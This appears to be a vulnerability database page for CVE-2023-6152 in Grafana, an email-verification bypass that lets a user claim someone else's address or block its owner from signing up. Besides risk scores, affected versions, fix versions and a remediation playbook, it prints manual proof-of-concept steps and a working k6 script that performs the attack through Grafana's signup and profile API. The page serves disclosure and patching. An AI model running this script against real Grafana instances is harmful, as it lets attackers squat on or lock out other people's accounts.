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MEDIUM severity

CVE-2023-6152 — grafana

MEDIUM

CVE-2023-6152 is a medium-severity (CVSS 5.4) CWE-863 vulnerability in github.com/grafana/grafana. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/grafana/grafana — see the affected versions and patch details below.

Email Validation Bypass And Preventing Sign Up From Email's Owner

Also known asBIT-grafana-2023-6152GHSA-3hv4-r2fm-h27f
Published
Updated
Affected
5 pkgs
Patched
5 / 5
Exploits
1 known
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2023-6152.

EPSS Exploitation Probability

via FIRST.org ↗
1.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs72th percentile — riskier than 72% of all scored CVEsHighest risk
0.00%0.63%1.26%1.88%0.2%1.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

5 pkgs affected
🐹github.com/grafana/grafana🐹github.com/grafana/grafana🐹github.com/grafana/grafana🐹github.com/grafana/grafana🐹github.com/grafana/grafana

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Email validation can easily be bypassed because verify_email_enabled option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in /profile. This can be used to prevent legitimate owner of the email address from signing up.

Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.

Here user a prevents owner of [email protected] to signup.

Details

I don't know exact location but this is related to PUT /api/user handler.

PoC

Bypass email validation:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change email to [email protected]
  • That's it, your using an email you don't own.

Prevent email's owner from signing up:

  • Start a new grafana instance using latest version
  • Sign up with email foo@example.
  • Login to that account.
  • Go to profile and change username (not email) to [email protected]
  • Signout.
  • Try to sign up with email [email protected]
  • Warning popup "User with same email address already exists"

K6 script (with verify_email_enabled set to false):

import { check, group } from "k6"
import http from "k6/http"

export const options = {
  scenarios: {
    perVuIter: {
      executor: 'per-vu-iterations',
      vus: 1,
      iterations: 1
    }
  }
}

const GRAFANA_URL = __ENV.GRAFANA_URL || "http://localhost:3000"

export default function () {
  group("create user_a with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  group("change user_a login to [email protected]", () => {
    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({
      "email": "[email protected]",
      "login": "[email protected]", // user_b email.
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200
    })
  })

  http.cookieJar().clear(GRAFANA_URL)

  group("create user_b with email [email protected]", () => {
    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({
      "email": "[email protected]",
      "username": "[email protected]",
      "password": "password"
    }), {
      headers: {
        'Content-Type': "application/json"
      }
    })

    check(response, {
      'status code is 200': (r) => r.status == 200 // fail
    })
  })
}

Impact

Bypass email verification. Prevent legitimate owner from signing up.

Affected Packages

5 total 5 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/grafana/grafana≥ 2.5.0&&< 9.5.169.5.16go get github.com/grafana/grafana@v9.5.16
🐹Gogithub.com/grafana/grafana≥ 10.0.0&&< 10.0.1110.0.11go get github.com/grafana/grafana@v10.0.11
🐹Gogithub.com/grafana/grafana≥ 10.1.0&&< 10.1.710.1.7go get github.com/grafana/grafana@v10.1.7
🐹Gogithub.com/grafana/grafana≥ 10.2.0&&< 10.2.410.2.4go get github.com/grafana/grafana@v10.2.4
🐹Gogithub.com/grafana/grafana≥ 10.3.0&&< 10.3.310.3.3go get github.com/grafana/grafana@v10.3.3

Affected Products

1 product · 5 configurations
Application
grafanagrafana
≤ 2.5.0
4 versions
10.0.010.1.010.2.010.3.0
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/grafana/grafana, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/grafana/grafana to 9.5.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-6152 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

Use of Grafana basic authentication and the verify_email_enabled feature are preconditions for this vulnerability to affect your system.

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for CVE-2023-6152 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ceph Storage 5.3rhceph/rhceph-5-dashboard-rhel8:5-97RHBA-2025:1479

Frequently Asked Questions

### Summary Email validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only. A user changing it's email after signing up (and verifying it) can change it without verification in `/profile`. This can be used to prevent legitimate owner of the email address from signing up. Another way to prevent email's owner from signing up is by setting Username as an email: When a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames an
O3 Security · Impact-Aware SCA

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CVE-2023-6152: grafana — Fixed in 9.5.16